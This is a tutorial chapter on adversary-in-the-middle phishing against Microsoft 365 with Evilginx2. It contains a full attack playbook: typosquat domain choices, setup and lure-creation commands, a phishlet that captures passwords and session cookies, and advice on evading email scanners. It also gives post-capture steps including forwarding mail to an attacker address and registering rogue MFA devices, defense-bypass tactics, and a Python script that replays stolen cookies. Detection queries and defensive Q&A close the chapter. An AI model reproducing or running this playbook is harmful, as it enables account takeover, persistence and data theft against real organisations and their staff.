AiTM Phishing (Adversary-in-the-Middle)
Multi-factor authentication defeated traditional credential phishing — even if you stole a valid password, the MFA code expired before you could use it. Adversary-in-the-Middle (AiTM) phishing breaks MFA entirely by acting as a transparent relay between the victim and the real authentication server. The victim authenticates all factors through the attacker's proxy, and the attacker captures the resulting session cookie — a cryptographic token that grants full authenticated access without replaying credentials or MFA. This chapter explains why this works at the HTTP protocol level, builds the complete attack chain with Evilginx2, analyzes session cookie formats, and maps every detection signal across the stack.
Why MFA Fails Against AiTM
To understand AiTM you need to understand what MFA actually protects. When a user logs into Microsoft 365, the authentication flow produces a session cookie — a long random token the server issues after verifying the correct credentials and MFA factor. That cookie is what the browser sends with every subsequent request. It proves the user authenticated. It has a lifetime of hours or days.
Traditional credential phishing steals the inputs to authentication (username, password). But after MFA was widely deployed, those inputs alone are no longer enough — the MFA factor (TOTP code, push approval, hardware key response) is a time-limited second factor that the attacker can't use if they receive it more than 30–60 seconds after the user generates it.
AiTM phishing steals the output of authentication — the session cookie. The attacker relays the entire authentication conversation in real time, so the victim completes their own MFA. The attacker just sniffs the cookie issued at the end.
TRADITIONAL CREDENTIAL PHISHING:
══════════════════════════════════════════════════════════════════
Victim → Fake Microsoft login page (attacker controls)
Victim types: username + password → attacker captures both
Attacker tries: POST login.microsoftonline.com {user, pass}
Microsoft: "Please provide your MFA code"
Attacker: ??? has no TOTP code, no push approval
30 seconds pass → TOTP code expires
Result: ATTACK FAILS against MFA-protected accounts
AiTM PHISHING (Transparent Proxy):
══════════════════════════════════════════════════════════════════
Victim → Attacker's proxy (m1crosoft-login.com)
↕ (all traffic relayed in real time)
Real Microsoft login.microsoftonline.com
Timeline:
T+0s Victim visits attacker's phishing URL
T+1s Proxy fetches REAL Microsoft login page, patches URLs
T+2s Victim sees the REAL login page (just proxied)
T+5s Victim enters username → proxy captures, forwards to Microsoft
T+6s Microsoft sends MFA challenge (push notification to victim's phone)
T+7s Victim approves push on their phone
T+8s Microsoft validates MFA → issues session cookie
T+9s Proxy captures session cookie ← THE PRIZE
T+10s Proxy redirects victim to office.com (victim thinks login worked)
Result:
Attacker has: valid session cookie for victim's M365 account
Cookie bypasses MFA — no password or MFA needed to use it
Cookie is valid for hours (ESTSAUTH) or days (ESTSAUTHPERSISTENT)
Attacker can access: Exchange, SharePoint, Teams, Azure AD, Intune
Victim notices nothing (they successfully logged in)
Key insight: The cookie is proof that BOTH factors were satisfied.
Stealing the cookie is equivalent to stealing the fully-authenticated session.Session Cookie Format — What Gets Stolen
Microsoft 365 authentication produces several cookies. The most valuable is ESTSAUTH (Extended STS Authentication), issued by the Secure Token Service (STS). Understanding its structure explains why it's such a powerful artifact:
Microsoft 365 session cookies (captured by AiTM proxy):
Cookie name │ Domain │ Purpose
──────────────────────┼─────────────────────────────┼──────────────────────────────
ESTSAUTH │ .login.microsoftonline.com │ Main authentication session
ESTSAUTHPERSISTENT │ .login.microsoftonline.com │ "Keep me signed in" version (7-90 days)
ESTSAUTHLIGHT │ .login.microsoftonline.com │ Lightweight token variant
buid │ login.microsoftonline.com │ Browser unique identifier
OIDCAuth │ .office.com / others │ Application-level session tokens
ESTSAUTH value structure (opaque to the client, meaningful to Microsoft STS):
- Encrypted blob containing: UPN, tenant ID, auth time, MFA claim, device ID
- Signed by Microsoft's STS private key
- The MFA claim ("amr" in JWT parlance) confirms MFA was satisfied
- Cannot be forged — only Microsoft can create valid tokens
- CAN be replayed from a different IP/device — this is the attack surface
Cookie attributes:
Secure; HttpOnly; SameSite=None; Path=/
SameSite=None is required for cross-origin OAuth flows — but it also means
the cookie can be sent from pages on other origins in some scenarios.
What the attacker does with the captured cookie:
1. Import via browser devtools: F12 → Application → Cookies → [domain]
→ Right click → Add cookie → name=ESTSAUTH value=[stolen_value]
2. Or use a browser extension: "EditThisCookie" or "Cookie-Editor"
3. Navigate to portal.office.com — browser attaches the cookie → authenticated
4. Microsoft sees a valid ESTSAUTH token → logs in as the victim
5. No MFA prompt — the token already contains proof MFA was done
Evilginx2 Architecture and Setup
Evilginx2 is the dominant open-source AiTM framework. It's written in Go, runs as a standalone HTTPS server, and uses configuration files called phishlets that describe how to proxy a specific web application. It handles all the certificate management, URL rewriting, and session capture automatically.
┌────────────────────────────────────────────────────────────────────┐ │ Evilginx2 Process (VPS) │ │ │ │ ┌──────────────────┐ ┌──────────────────┐ ┌──────────────┐ │ │ │ DNS Server │ │ HTTPS Server │ │ HTTP Server │ │ │ │ port 53 │ │ port 443 │ │ port 80 │ │ │ │ │ │ (TLS terminator)│ │ (ACME) │ │ │ │ Responds to A │ │ │ │ │ │ │ │ queries for │ │ Victim connects │ │ Let's │ │ │ │ phishlet │ │ here — handles │ │ Encrypt │ │ │ │ subdomains │ │ all HTTP relay │ │ certificate │ │ │ └──────────────────┘ └────────┬─────────┘ │ challenge │ │ │ │ └──────────────┘ │ │ ┌──────────────────┐ ┌────────▼─────────┐ │ │ │ Phishlet Engine │ │ Reverse Proxy │ │ │ │ │ │ │ │ │ │ Loads YAML │ │ Receives victim │ │ │ │ phishlet configs│ │ HTTP request │ │ │ │ Defines: │ │ Rewrites URLs: │ │ │ │ - target domain │ │ login.ms.com → │ │ │ │ - phish domain │ │ login.ms-ph.com │ │ │ │ - cookies to │◄──┤ Makes upstream │ │ │ │ capture │ │ request to real │ │ │ │ - URL rewrite │ │ Microsoft │ │ │ │ rules │ │ Returns patched │ │ │ └──────────────────┘ │ response to │ │ │ │ victim │ │ │ ┌──────────────────┐ └────────┬─────────┘ │ │ │ Session Store │ │ │ │ │ (Bolt DB) │◄───────────┘ │ │ │ │ Intercepts cookies matching │ │ │ Captures: │ phishlet auth_tokens config │ │ │ - credentials │ Stores in local Bolt database │ │ │ - cookies │ Attacker queries: sessions command │ │ │ - IP addresses │ │ │ └──────────────────┘ │ └────────────────────────────────────────────────────────────────────┘
VPS and DNS Infrastructure Setup
# ── Step 1: VPS selection and hardening ─────────────────────────────────
# Use a VPS with a clean IP (test at: mxtoolbox.com/blacklists.aspx)
# Cloud providers: DigitalOcean, Vultr, Linode — avoid AWS/Azure (blocked by M365)
# Minimum spec: 1 vCPU, 1 GB RAM, Ubuntu 22.04 LTS
# Static public IPv4 required
# ── Step 2: Domain registration ──────────────────────────────────────────
# Register via Namecheap, Porkbun, or similar
# Good typosquatting patterns for Microsoft:
# microsoft-365-login.com login-microsoft365.com
# m1crosoft-login.com microsoftonIine.com (capital I)
# microsoft-sso-portal.com office365-auth.com
# Age the domain ≥30 days before use (Defender/SafeLinks checks domain age)
# Don't use the domain for anything before the attack
# ── Step 3: DNS configuration ────────────────────────────────────────────
# At your registrar's DNS control panel:
# Replace nameservers with Evilginx's built-in DNS (or use an external DNS
# service and point subdomains to your VPS)
# Option A: Evilginx handles DNS (simpler, recommended)
# Set NS records to: ns1.yourdomain.com and ns2.yourdomain.com
# Both NS records point to your VPS IP (glue records)
# Evilginx's built-in DNS server handles all queries on port 53
# Option B: External DNS (Cloudflare) handles DNS
# Create A records for all phishlet subdomains pointing to VPS
# A login.m1crosoft-login.com → VPS_IP
# A www.m1crosoft-login.com → VPS_IP
# Set proxied=FALSE (gray cloud in Cloudflare, not orange)
# ── Step 4: Evilginx2 installation ──────────────────────────────────────
# On the VPS:
apt update && apt install golang-go git -y
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
# Test: binary at ./bin/evilginx
./bin/evilginx -help
# ── Step 5: Run Evilginx with your domain ───────────────────────────────
# Evilginx needs port 53, 80, 443 — run as root or with capabilities
sudo ./bin/evilginx -p ./phishlets/
# Or use capabilities to avoid running as root:
sudo setcap cap_net_bind_service=+ep ./bin/evilginx
./bin/evilginx -p ./phishlets/
Evilginx2 Configuration and Phishlet Setup
# Inside the Evilginx2 interactive console:
# --- 1. Set your external IP and domain ---
evilginx> config domain m1crosoft-login.com
evilginx> config ip 203.0.113.47 (your VPS public IP)
# --- 2. Enable the Microsoft 365 phishlet ---
evilginx> phishlets hostname o365 m1crosoft-login.com
evilginx> phishlets enable o365
# Evilginx will now:
# - Request TLS certificate from Let's Encrypt for:
# login.m1crosoft-login.com
# www.m1crosoft-login.com
# (all subdomains defined in the o365 phishlet)
# - Start listening on 443 for these domains
# --- 3. Create a lure (phishing URL) ---
evilginx> lures create o365
# Output:
# [15:32:11] [inf] created lure with ID: 0
# [15:32:11] [inf] lure URL: https://login.m1crosoft-login.com/?Ae9mKP
evilginx> lures get-url 0
# https://login.m1crosoft-login.com/?Ae9mKP
# This URL is what you send to the victim in the phishing email.
# --- 4. Monitor captures in real time ---
evilginx> sessions # list all sessions
evilginx> sessions 1 # view session #1 details
# Sample output when a victim completes authentication:
# [id: 1] [remote_addr: 91.123.45.67] [username: jane.doe@contoso.com]
# [password: P@ssw0rd!]
# [tokens]:
# login.microsoftonline.com [ESTSAUTH]
# value: 0.Aa8BXj....(long encrypted token)....
# .office.com [.*]
# value: ...
evilginx> sessions cookies 1 # export cookies in JSON format
# Paste this JSON into Cookie-Editor browser extension → "Import"
# Navigate to portal.office.com → authenticated as victim
Phishlet Anatomy — How URL Rewriting Works
The phishlet YAML file is what makes a phishing proxy actually work for a specific target. It defines which domains to intercept, how to rewrite URLs in the proxied content, and which cookies to capture. Understanding it lets you adapt phishlets for any target.
# Abbreviated Microsoft 365 / Entra ID phishlet
# Full community phishlets: github.com/hash3liZer/phishlets
# or github.com/An0nUD4Y/Evilginx2-Phishlets
name: 'o365'
author: 'community'
min_ver: '2.4.0'
# Which backend domains does this phishlet need to proxy?
# Evilginx will create HTTPS listeners for each phish_sub.yourdomain.com
proxy_hosts:
# The main login domain — "session:true" means capture cookies from here
- { phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com',
session: true, is_landing: true }
# The MFA / device registration page
- { phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com',
session: true }
# Office home page — where victim lands after login
- { phish_sub: 'www', orig_sub: 'www', domain: 'office.com',
session: true }
# Office portal
- { phish_sub: 'portal', orig_sub: 'portal', domain: 'office.com',
session: true }
# URL of the login form on the original site
login:
domain: 'microsoftonline.com'
path: '/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca
&redirect_uri=https://www.office.com/&response_type=code&scope=openid+profile'
# This is the Microsoft 365 authorization URL — Evilginx will substitute your domain
# Where to capture credentials (POST body parameters)
credentials:
username:
key: 'login' # POST parameter name
search: '(.*)' # regex to extract the value
type: 'post'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
# Which cookies to intercept — when these are set, the session is "captured"
auth_tokens:
- domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'ESTSAUTHLIGHT']
- domain: '.office.com'
keys: ['.*', 'SRID']
- domain: 'www.office.com'
keys: ['.*']
# Force certain paths to always be forwarded as POST (prevents redirect issues)
force_post:
- path: '/common/login'
- path: '/common/SAS/ProcessAuth'
# Tracking pixel — optional: embed a 1x1 image to detect email opens
# (not related to the proxy function, just a tracking feature)
# Redirect to real Office 365 after capture
redirect_url: 'https://www.office.com'
URL Rewriting — The Core Trick
When the proxy receives HTML from login.microsoftonline.com, it rewrites all URLs:
Original HTML from Microsoft:
<form action="https://login.microsoftonline.com/common/login" ...>
<a href="https://login.microsoftonline.com/common/oauth2/...">
<link href="https://aadcdn.msftauth.net/shared/1.0/...">
After Evilginx URL rewriting:
<form action="https://login.m1crosoft-login.com/common/login" ...>
<a href="https://login.m1crosoft-login.com/common/oauth2/...">
<link href="https://aadcdn.msftauth.net/shared/1.0/...">
↑ Static assets (CSS/JS/images) are NOT rewritten — loaded directly
from Microsoft CDN. This saves bandwidth and ensures the page looks
100% legitimate because it IS 100% Microsoft's CSS and JavaScript.
What this means for the victim:
- Every button click, form submit, redirect stays within the proxy domain
- The victim never leaves m1crosoft-login.com until the proxy redirects them
- All MFA flows (TOTP entry page, push approval confirmation) go through proxy
- The victim's browser talks to the proxy; proxy talks to Microsoft
What about CORS and JavaScript?
- Microsoft's JavaScript runs in the victim's browser
- It makes XMLHttpRequests to... login.microsoftonline.com
- But the VICTIM's browser has DNS pointing login.microsoftonline.com to
Microsoft's real servers (Evilginx only handles its own domain)
- So some XHR calls go directly to Microsoft — but the form submissions
go to the proxy (because the form action URL was rewritten)
- Session cookies from the proxy domain (m1crosoft-login.com) and from
the real domain (.microsoftonline.com) are both captured
Running an AiTM Campaign — Operational Considerations
Infrastructure OPSEC:
──────────────────────────────────────────────────────────────────────────
Problem: Microsoft SafeLinks detonates phishing URLs in a sandbox before
delivering email. If the sandbox clicks your URL, Evilginx serves
the login page to the sandbox, the sandbox gets captured, and worse
— Microsoft may block the URL before the victim even receives it.
Solution: Lure redirectors
1. Use a "pre-filter" page before the actual Evilginx proxy:
- Host a simple PHP/Go page on a different server
- Check the visitor's User-Agent: SafeLinks bots have specific UAs
- Check the visitor's IP against Microsoft's ASN (AS8075, AS8068)
- If the visitor looks like a scanner: redirect to microsoft.com (innocent)
- If the visitor looks like a human: redirect to your Evilginx URL
2. Cookie gate: Require the visitor to have a specific cookie set
(only your phishing email includes a link that sets the cookie)
3. Time gate: Only serve the Evilginx URL during business hours of the
victim's timezone (reduces sandbox exposure)
Phishing email OPSEC:
──────────────────────────────────────────────────────────────────────────
Best lures for O365 AiTM:
"Your MFA method has expired. Re-authenticate to maintain access."
"A new sign-in was detected from [country]. Please verify your identity."
"Your Microsoft Authenticator has been unlinked. Click to restore access."
"SharePoint document shared with you requires re-authentication."
Send from: A compromised sending account (not a spoofed domain)
Subject: Keep it mundane — "Action Required: Verify Your Account" triggers
spam filters. Use natural language: "Quick note: access issue"
HTML email: Include a real Microsoft logo (hosted on Microsoft's CDN),
real Microsoft footer, unsubscribe link (looks legitimate)
Post-capture actions:
──────────────────────────────────────────────────────────────────────────
Within 15 minutes of capture (before the victim or admin notices):
1. Import cookie → access Exchange Online
2. Search inbox: keywords like "password", "vpn", "admin", "credential"
3. Create an Inbox rule: forward all email to attacker@proton.me
4. Register a new MFA device on the compromised account (persistence)
→ Azure AD → Security Info → Add method → Authenticator app
→ Now you have persistent access even after password reset
5. Access SharePoint → search "passwords" "vpn config" "server list"
6. If victim has Azure AD admin role → access Entra ID admin portal
→ enumerate all users, groups, service principals, app registrations
Bypassing AiTM Defenses
Defense │ How it tries to detect AiTM │ Bypass
─────────────────────────────┼─────────────────────────────────────┼─────────────────────────
Microsoft SafeLinks │ Scans phishing URLs before delivery │ Pre-filter / bot check
URL reputation services │ Blocklist of known phishing domains │ Use fresh domains <24h
Domain age check (Defender) │ Flag domains registered <30 days │ Age domain before use,
│ │ or buy aged domain
Impossible travel (Entra) │ Cookie used from 2 different IPs │ Route through residential
│ too quickly to be real travel │ proxy near victim's city
Entra ID "risky sign-in" │ ML model flags unusual sign-ins │ Use residential proxy,
│ │ mimic victim's UA/device
Conditional Access - IP │ Block sign-ins from non-corp IPs │ Use a victim's network-
│ │ listed IP (residential)
Token Protection (Entra P2) │ Binds token to device hardware key │ No bypass currently —
│ │ most powerful defense
FIDO2 hardware key (MFA) │ Origin-bound cryptographic auth │ No bypass — immune to AiTM
─────────────────────────────┴─────────────────────────────────────┴─────────────────────────
The "impossible travel" bypass:
After stealing the cookie at T+0:
Victim was in Chicago (IP: 67.x.x.x)
Attacker connects through a US residential proxy (also Chicago-ish area)
Microsoft sees: cookie used from Chicago area → no flag
Use: https://brightdata.com (paid) or SOCKS5 proxies from US residential ISPsAutomated Session Import — Python
#!/usr/bin/env python3
"""
aitm_cookie_import.py — Injects stolen cookies into a Playwright browser
and verifies access to the victim's Microsoft 365 environment.
Usage:
python3 aitm_cookie_import.py --cookies stolen_cookies.json
Requires: pip install playwright && python -m playwright install chromium
"""
import asyncio
import json
import argparse
from playwright.async_api import async_playwright
# Cookies exported from Evilginx: sessions cookies [id]
# Format: array of cookie objects with name, value, domain, path, etc.
async def import_and_verify(cookies_file: str) -> None:
with open(cookies_file) as f:
cookies = json.load(f)
async with async_playwright() as pw:
browser = await pw.chromium.launch(headless=False)
ctx = await browser.new_context(
# Mimic victim's user agent if known (from Evilginx session info)
user_agent=(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
),
viewport={"width": 1920, "height": 1080},
)
# Import all stolen cookies into the browser context
formatted = []
for c in cookies:
entry = {
"name": c["name"],
"value": c["value"],
"domain": c["domain"],
"path": c.get("path", "/"),
"secure": c.get("secure", True),
"httpOnly": c.get("httpOnly", True),
"sameSite": c.get("sameSite", "None"),
}
if "expirationDate" in c:
entry["expires"] = int(c["expirationDate"])
formatted.append(entry)
await ctx.add_cookies(formatted)
print(f"[+] Imported {len(formatted)} cookies")
page = await ctx.new_page()
# Test 1: Access Office 365 portal
print("[*] Navigating to portal.office.com...")
await page.goto("https://portal.office.com", wait_until="networkidle")
title = await page.title()
print(f"[+] Page title: {title}")
if "Sign in" in title:
print("[-] Not authenticated — cookies may be expired")
return
print("[+] Authenticated as victim!")
# Test 2: Get user's email address (from profile)
await page.goto("https://outlook.office.com/mail/", wait_until="networkidle")
await page.wait_for_selector('[aria-label*="@"]', timeout=10000)
email = await page.inner_text('[aria-label*="@"]')
print(f"[+] Logged in as: {email}")
# Test 3: Check for admin access
admin_page = await ctx.new_page()
await admin_page.goto("https://admin.microsoft.com", wait_until="networkidle")
admin_title = await admin_page.title()
if "admin" in admin_title.lower():
print("[!!!] ADMIN ACCESS CONFIRMED — victim is a tenant admin")
else:
print("[*] No admin access (standard user)")
# Keep browser open for manual exploration
print("[*] Browser open for manual inspection. Press Enter to close.")
input()
await browser.close()
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("--cookies", required=True, help="JSON cookies file from Evilginx")
args = ap.parse_args()
asyncio.run(import_and_verify(args.cookies))
Full Detection Map
AiTM detection across the complete defender stack:
LAYER 1 — Email gateway
────────────────────────────────────────────────────────────────────────
Signal: Link to a domain that is:
- Registered within the last 30 days
- Has a name visually similar to a trusted brand (edit distance ≤3)
- Uses Let's Encrypt certificate (free CA, not typical for legit enterprises)
- Not in the organization's approved sender list
Tools: Microsoft Defender for Office 365 (P2), Proofpoint URL Defense, Mimecast
LAYER 2 — DNS monitoring
────────────────────────────────────────────────────────────────────────
Signal: DNS query from inside the corporate network to:
- A domain registered < 30 days ago that resembles a major brand
Tools: Cisco Umbrella, Infoblox, DNS firewall, PDNS (passive DNS)
Note: This only catches victims clicking the link from a corporate network.
Victims on personal devices or home internet bypass this.
LAYER 3 — Web proxy / browser
────────────────────────────────────────────────────────────────────────
Signal: HTTP request to a high-reputation-score-suspicious URL
Chrome/Edge "Safe Browsing" API — but only if URL is already known
Note: New phishing domains are often not in the blocklist initially.
Typically 6-24 hours after first report before blocklisting.
LAYER 4 — Azure AD / Entra ID sign-in logs (HIGHEST VALUE)
────────────────────────────────────────────────────────────────────────
These are the most reliable AiTM detection signals:
a) Impossible Travel:
Sign-in from New York at 14:00, same session from Germany at 14:05
→ Impossible without AiTM or VPN (which should also be flagged)
KQL:
SigninLogs
| where TimeGenerated > ago(1h)
| summarize locations=make_set(Location) by UserPrincipalName
| where array_length(locations) > 1
b) Suspicious token reuse:
Entra Identity Protection → Risk detections → "Anomalous Token"
→ Enabled automatically with Entra ID P2
c) Unfamiliar sign-in properties:
Sign-in from IP with no history for this user
Different device fingerprint from all previous sign-ins
d) MFA method registration event immediately after sign-in:
User registers new Authenticator app within 5 minutes of sign-in
This is the attacker adding persistence (new MFA device)
KQL:
AuditLogs
| where OperationName has "Add" and OperationName has "authentication"
| where TimeGenerated > ago(1d)
LAYER 5 — Application-level (Exchange, SharePoint)
────────────────────────────────────────────────────────────────────────
- New mail forwarding rule created (very high signal)
- Bulk email download (unusual volume in Exchange audit log)
- Large SharePoint download from an unusual IP
- OAuth app consent grant (attacker may try to install a persistent app)
KQL for forwarding rules:
OfficeActivity
| where Operation == "New-InboxRule"
| where Parameters has "ForwardTo" or Parameters has "RedirectTo"
Questions & Answers
Does FIDO2 / passkeys protect against AiTM?
Yes — FIDO2 hardware keys (YubiKey, etc.) and device passkeys are cryptographically immune to AiTM phishing. Here's why: during FIDO2 authentication, the authenticator signs a challenge that includes the origin — the exact domain of the page requesting authentication (e.g., login.microsoftonline.com). When the victim authenticates through the Evilginx proxy, the origin is the proxy's domain (login.m1crosoft-login.com). The FIDO2 authenticator signs that incorrect origin. Microsoft's server receives the signature, verifies it against the origin it registered during credential creation (login.microsoftonline.com), and the signature doesn't match. Authentication fails. FIDO2 is the only widely-deployed MFA mechanism with this property — TOTP codes, SMS codes, and push notifications are all transparent to the proxy and therefore vulnerable to AiTM. This is why security teams are pushing to migrate privileged accounts and high-value users to FIDO2.
What is Microsoft Entra ID Token Protection and how does it stop AiTM cookie replay?
Token Protection (Microsoft's name for "token binding" at the application layer) is a Conditional Access feature that cryptographically binds an authentication token to the specific device that signed in. During authentication, the device generates a cryptographic proof-of-possession tied to a device-bound private key (stored in the device's TPM or secure enclave). This proof is embedded in the access token as a claim. When the token is later used to access a resource (Exchange Online, SharePoint), the resource verifies that the incoming request includes valid proof-of-possession from the same device. An attacker who steals the token via AiTM and replays it from a different device cannot provide this proof — the replay fails. As of 2024, Token Protection covers Exchange Online and some SharePoint workloads, with expansion planned. It requires Entra ID P1+ and must be explicitly configured in a Conditional Access policy with enforcement mode (not just report mode).
How does Evilginx handle multi-step login flows like Microsoft's progressive authentication?
Microsoft's login flow is split across several pages and redirects: the initial landing page, the username entry page, the password entry page (sometimes), the MFA page (type varies by user configuration), and the "Keep me signed in?" page where the session cookie is finally set. Evilginx handles this by rewriting ALL URLs in ALL responses from all proxied domains. Every redirect in the OAuth flow that goes to login.microsoftonline.com/... gets rewritten to login.m1crosoft-login.com/.... The proxy follows every step in real time, intercepting and returning each page. The auth_urls field in the phishlet specifies which URL path marks the moment the final session cookie is issued (e.g., /kmsi — the "Keep Me Signed In" page). Evilginx watches for the session cookies defined in auth_tokens to appear on that URL's response and marks the session as captured at that moment. If a phishlet stops working after Microsoft updates their login flow (which happens periodically), the phishlet's URL rewrite rules and auth_url must be updated to match the new flow.
Can AiTM be used against non-Microsoft targets like Google Workspace, Okta, or Salesforce?
Yes — Evilginx phishlets exist for most major identity providers. The technique works against any web-based authentication that issues session cookies. Google Workspace phishlets proxy accounts.google.com and capture the SAPISID, SID, and SSID cookies that Google uses for session management. Okta phishlets target companyname.okta.com authentication, capturing the Okta session cookie that's used across all SSO-connected applications. The limitation is that each target requires a custom phishlet tuned to that site's authentication flow and cookie names — there's no universal phishlet. Community-maintained phishlet repositories contain configurations for dozens of popular services. The detection principle is the same for all of them: the session cookie appears from a different IP than the one that authenticated.
If an attacker registers a new MFA device after stealing the cookie, what's the defender's window to stop it?
The window is very narrow — typically 15 to 60 minutes between the cookie theft and permanent persistence being established. Here's the timeline: the attacker steals the cookie (T+0), imports it into a browser (T+2 minutes), navigates to mysignins.microsoft.com (T+3), registers a new Microsoft Authenticator or TOTP app (T+5–10). Once the new MFA method is registered, the attacker has permanent access even if the victim changes their password, because passwords alone don't grant access when MFA is enabled — the attacker's new authenticator provides the second factor. The defender's controls: enable the policy "Require re-authentication to register MFA methods" in Entra ID (forces MFA before adding a new MFA method — so the stolen cookie isn't enough, the user must re-approve the change); monitor the AuditLogs for Add authentication method operations within 30 minutes of a flagged sign-in; alert on this combination in your SIEM.